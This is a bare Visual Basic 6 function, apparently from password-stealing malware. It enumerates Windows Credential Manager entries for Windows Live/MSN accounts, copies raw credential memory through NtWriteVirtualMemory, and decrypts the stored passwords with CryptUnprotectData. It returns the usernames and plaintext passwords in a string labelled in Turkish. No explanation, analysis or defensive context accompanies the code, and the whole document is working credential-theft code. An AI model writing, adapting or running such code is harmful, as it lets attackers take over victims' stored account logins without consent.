Private Declare Function CredEnumerateW Lib "advapi32.dll" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
Private Declare Function CredFree Lib "advapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As Long) As Long
Private Declare Function NtWriteVirtualMemory Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal BaseAddress As Long, ByVal pBuffer As Long, ByVal NumberOfBytesToWrite As Long, ByRef NumberOfBytesWritten As Long) As Long
Private Type DATA_BLOB
cbData As Long
pbData As Long
End Type
Public Function sMSN() As String
Dim i As Long
Dim lCount As Long
Dim lCred As Long
Dim lUbound As Long
Dim lPtr As Long
Dim lUser As Long
Dim tBlobIn As DATA_BLOB
Dim sPass As String
Dim sGuid As String
Dim lChar As Long
Dim sUser As String
Dim j As Long
sGuid = "WindowsLive:name=*"
Call CredEnumerateW(StrPtr(sGuid), 0, lCount, lCred)
If lCount Then
For i = lUbound To lUbound + lCount - 1
NtWriteVirtualMemory -1, ByVal VarPtr(lPtr), ByVal lCred + (i - lUbound) * 4, &H4, 0
NtWriteVirtualMemory -1, ByVal VarPtr(lUser), ByVal lPtr + 48, &H4, 0
NtWriteVirtualMemory -1, ByVal VarPtr(tBlobIn.pbData), ByVal lPtr + 28, &H4, 0
NtWriteVirtualMemory -1, ByVal VarPtr(tBlobIn.cbData), ByVal lPtr + 24, &H4, 0
Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, 0&)
sPass = Space(tBlobIn.cbData \ 2)
NtWriteVirtualMemory -1, ByVal StrPtr(sPass), ByVal tBlobIn.pbData, tBlobIn.cbData, 0
If Len(sPass) > 0 Then
j = 0
sUser = vbNullString
lChar = 1
Do
NtWriteVirtualMemory -1, ByVal VarPtr(lChar), ByVal lUser + j * 2, &H1, 0
If lChar = 0 Then Exit Do
sUser = sUser & Chr(lChar)
j = j + 1
Loop
sMSN = sMSN & "Kullanıcı Adı: " & sUser & vbCrLf & " Şifre: " & sPass & vbCrLf
End If
Next
lUbound = lUbound + lCount
End If
Call CredFree(lCred)
End Function